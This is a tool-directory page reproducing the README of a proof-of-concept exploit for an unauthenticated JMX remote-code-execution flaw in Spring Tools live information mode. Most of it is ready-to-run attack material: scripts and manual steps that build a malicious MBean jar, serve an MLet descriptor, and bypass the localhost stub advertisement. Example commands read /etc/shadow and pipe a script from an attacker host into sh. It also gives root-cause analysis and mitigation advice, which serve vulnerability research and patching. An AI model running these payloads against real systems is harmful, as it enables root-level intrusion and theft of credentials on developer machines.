Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-47858 — Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications. | Kitploit
Tools/GitHubGitHub/realstatus/cve-2026-47858
Payload GenerationVulnerability AnalysisExploitationPenetration Testing
GitHubrealstatus/cve-2026-47858

CVE-2026-47858

Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications.

View Repository
621 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-47858 — Spring Tools "live information" mode unauthenticated JMX RCE (PoC)

中文 README | Advisory: Spring Security | CVE Record

Vulnerability: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 start Spring Boot applications in live information mode (enabled by default) with JVM arguments that expose an unauthenticated, TLS-less, all-interfaces-bound remote JMX agent. An attacker on the adjacent network can connect to the JMX MBeanServer without credentials and achieve direct RCE (as root) via MLet remote class loading.

  • CWE-306 Missing Authentication for Critical Function
  • CVSS 3.1 8.0 HIGH — AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Fixed in: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (all versions before 5 are also affected and unsupported)

Table of contents

  1. Root cause (source evidence)
  2. Quick reproduction (one-shot script)
  3. Exploit usage (flexible command)
  4. How it works: direct RCE, not a callback exploit
  • Test matrix & evidence
  • Fix & mitigation
  • Repository layout
  • Disclaimer

  • 1. Root cause (source evidence)

    Diff between affected tag 5.2.0.RELEASE (== v2.2.0) and fixed tag 5.3.0.RELEASE (== v2.3.0):

    Vulnerable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:

    root@kitploit:~
    "-Dcom.sun.management.jmxremote",                  // enable JMX
    "-Dcom.sun.management.jmxremote.port=<free port>",
    "-Dcom.sun.management.jmxremote.authenticate=false", // NO authentication!
    "-Dcom.sun.management.jmxremote.ssl=false",          // NO TLS!
    "-Djava.rmi.server.hostname=localhost",              // the only "barrier": stubs advertise localhost
    "-Dspring.jmx.enabled=true",
    "-Dmanagement.endpoints.jmx.exposure.include=*"      // all actuator endpoints via JMX
    
    • BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: enabled by default; every Boot app launch from the IDE gets these args.
    • VSCode extension 2.2.0 (vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injects the same -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.

    Fixed 5.3.0:

    • With a pinned port: adds -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX binds to loopback only).
    • Default (port 0): no com.sun.management.jmxremote* args at all — JMX agent is started on-demand via the Attach API against the child PID (VSCode side likewise: debug-config-provider.ts removes the remote JMX args entirely).

    Note: -Dcom.sun.management.jmxremote.port alone is enough to enable the JMX agent (the main com.sun.management.jmxremote switch is not required) — the VSCode variant is equally exploitable.


    2. Quick usage (two separate scripts)

    The scripts are fully decoupled: setup-lab.sh only builds the environment, attack.sh only performs the exploit. Requirements: docker, JDK 17+ (default /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optional).

    2.1 Step 1: environment setup (setup-lab.sh)

    root@kitploit:~
    ./setup-lab.sh vuln          # vulnerable config (5.2.0 args)   [default]
    ./setup-lab.sh fixed-pinned  # fixed 5.3.0 pinned-port config  (JMX on 127.0.0.1 only)
    ./setup-lab.sh fixed-auto    # fixed 5.3.0 default auto config (no remote JMX port)
    ./setup-lab.sh cleanup       # stop & remove container and network
    

    It builds the victim Spring Boot app → creates an isolated docker bridge network (victim container 172.22.0.x, attacker on the host = adjacent network) → starts the app with the per-version JVM args → shows JMX listening sockets → prints the victim IP / JMX port / gateway. The victim keeps running so you can attack it next.

    2.2 Step 2: exploit (attack.sh)

    root@kitploit:~
    ./attack.sh <victim-ip> 19090 "id; whoami; uname -a" 8000
    # Custom command (default id; hostname; uname -a; no recompilation needed)
    PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
    

    It builds the evil jar → generates mlet.txt (command delivered via <ARG>) → serves the payloads over HTTP → runs the exploit. The payload only executes the command and echoes it back: the command runs synchronously via /bin/sh -c inside the victim JVM, its output is captured in memory, and the exploit pulls it back over the same JMX connection (Pwn.getOutput() / getExitCode()) and prints it on the attacker side. No files are written on the target — to also keep the output there, redirect inside the command (e.g. "id > /tmp/out.txt").

    Contrast test: ./setup-lab.sh vuln → exploit succeeds; then ./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned → exploit must fail (JMX loopback only).


    3. Exploit usage (flexible command)

    3.1 One-shot attack.sh (recommended)

    The command is fully configurable, and changing it requires no recompilation (the command is delivered through the MLET <ARG> tag; the jar is command-agnostic):

    root@kitploit:~
    ./attack.sh <target-ip> <jmx-port> "<command>" [http-port]
    
    # Examples
    ./attack.sh 172.22.0.2 19090 "id; whoami; uname -a"                 # basic recon
    ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000                 # read a file
    ./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000   # pipes / reverse shell etc.
    ./attack.sh 192.168.1.20 19090 "id" 8000                            # arbitrary remote target
    
    # Env vars
    PAYLOAD_HOST=192.168.1.10 ./attack.sh ...   # IP of this host as seen by the victim (auto-detected by default)
    JDK_DIR=/path/to/jdk ./attack.sh ...        # JDK location
    

    Flow: builds evil.jar → XML-escapes the command and generates mlet.txt → serves evil.jar + mlet.txt over HTTP → compiles and runs JmxExploit. The payload only executes the command and echoes its output back; it writes nothing on the target.

    3.2 Manual step-by-step

    root@kitploit:~
    # 1) Build the payload jar
    cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
    
    # 2) Generate mlet.txt (replace <COMMAND> with yours; XML-escape & < > ")
    cat > mlet.txt <<EOF
    <MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
    <ARG TYPE="java.lang.String" VALUE="<COMMAND>">
    </MLET>
    EOF
    
    # 3) Serve the payloads
    python3 -m http.server 8000 --bind 0.0.0.0   # from the exploit-server directory
    
    # 4) Compile and run the exploit (JDK 17+ needs --add-opens to rewrite the RMI stub)
    cd attacker && javac JmxExploit.java NaiveJmxClient.java
    java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
         --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
         --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
         --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
         -cp classes JmxExploit <target-ip> <jmx-port> "http://<this-host-ip>:8000/mlet.txt"
    
    # 5) Verify on your own (output goes to the victim app console/log, e.g. docker exec victim tail /app.log)
    

    3.3 Payload & echo

    • Pwn implements DynamicMBean; the command runs synchronously in the constructor via /bin/sh -c (priority: MLET <ARG> argument > victim env var CVE_PAYLOAD_CMD > default id; hostname; uname -a).
    • Echo, zero disk footprint: Pwn captures the command's stdout/stderr in memory; the exploit then invokes getOutput() / getExitCode() over the same JMX connection and prints the output on the attacker side. No files are written on the target (apart from side effects of the command itself). To also keep the output on the target, redirect inside the command ("id > /tmp/out.txt" or "id 2>&1 | tee /app.log").

    Why <ARG>? JDK MLetParser only recognizes <ARG> (<PARAM> is silently ignored), and both TYPE and VALUE are mandatory. Also, the MLet parser does NOT handle HTML comments — keep any stray <...> text out of mlet.txt.


    4. How it works: direct RCE, not a callback exploit

    root@kitploit:~
    attacker ──TCP──▶ victim JMX RMI registry (19090)   <- attacker actively connects to the victim's service
    attacker ◀──TCP── victim RMI Server (random port)    <- normal JMX protocol traffic
    attacker ──invoke──▶ victim JVM: newClient(null)      <- login to MBeanServer with NO credentials
    attacker ──invoke──▶ victim JVM: getMBeansFromURL(.)  <- victim JVM synchronously instantiates the evil class
    victim JVM ──HTTP GET──▶ attacker :8000/evil.jar      <- the only "callback": downloading the payload jar
    victim JVM inside: Pwn constructor Runtime.exec("<cmd>")  <- command executes directly inside the victim
    
    • Direct execution: the command runs synchronously inside the victim JVM; by the time getMBeansFromURL returns, the command has finished (output has already landed in the victim app's log/console).
    • Not a callback exploit: no JNDI/LDAP/RMI callback. Classic callback attacks (Log4Shell / JRMPListener-style) require the victim to dial back to an attacker-controlled LDAP/RMI service; here it is the opposite — the attacker actively drives the victim's JMX service end-to-end.
    • The only victim→attacker traffic is a plain HTTP GET (downloading the payload jar — i.e., delivering the malicious class to the target); it is not a callback shell and does not need to stay connected.
    • Bypass note: the vulnerable args include -Djava.rmi.server.hostname=localhost, which only makes RMI stubs advertise "localhost" (a default client dials its own loopback and fails — reproduced by NaiveJmxClient). JmxExploit rewrites the stub's TCPEndpoint host via reflection (Metasploit java_jmx_server and similar tools bypass it the same way).

    5. Test matrix & evidence

    ConfigJMX listenRemote unauth connectRCE
    5.2.0 vulnerable (Eclipse args)*:19090 etc. (0.0.0.0)✅ (stub host rewrite bypasses localhost)✅ root
    5.2.0 vulnerable (VSCode 2.2.0 args)*:19090 (0.0.0.0)✅✅
    5.3.0 fixed (pinned port)127.0.0.1 only❌ connection refused❌
    5.3.0 fixed (default auto)no JMX port❌❌

    Evidence (echoed directly on the attacker side; zero files written on the target):

    root@kitploit:~
    [+] --- command output (echoed from the target) ---
    echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar   # <- command delivered via <ARG>
    SECOND_FLEXIBLE_RUN
    root
    /
    -rw-r--r-- 1 root root 21924167 ... /app.jar
    [+] --- exit code: 0 ---
    

    6. Fix & mitigation

    • Upgrade: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (OSS).
    • If you cannot upgrade (official workaround): disable live information when launching Spring Boot applications from the IDE ("Enable live information" in the Boot launch configuration).
    • Emergency hardening: firewall developer machines so IDE-launched apps are not reachable from the LAN; or override the args with -Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true.

    7. Repository layout

    root@kitploit:~
    CVE-2026-47858/
    ├── README.md                 # this document (Chinese)
    ├── README.en.md              # English documentation
    ├── setup-lab.sh              # environment setup script (vuln / fixed-pinned / fixed-auto / cleanup)
    ├── attack.sh                 # exploit script (configurable command, no recompile needed)
    ├── attacker/
    │   ├── JmxExploit.java       # exploit: stub host rewrite + MLet remote class loading RCE
    │   └── NaiveJmxClient.java   # control: naive client that fails against the localhost advertisement
    ├── exploit-server/
    │   ├── evil/Pwn.java         # malicious DynamicMBean (constructor executes the command)
    │   ├── mlet.txt.template     # MLET descriptor template (command placeholder __COMMAND__)
    │   └── evil.jar              # prebuilt payload jar (command-agnostic, rebuildable anytime)
    └── victim-app/app/           # victim Spring Boot 4.0.7 app (web+actuator)
    

    8. Disclaimer

    This repository is provided for authorized security research, vulnerability validation and defensive testing only. Using it against any system without authorization is illegal; you are solely responsible for your actions.

    Download Tool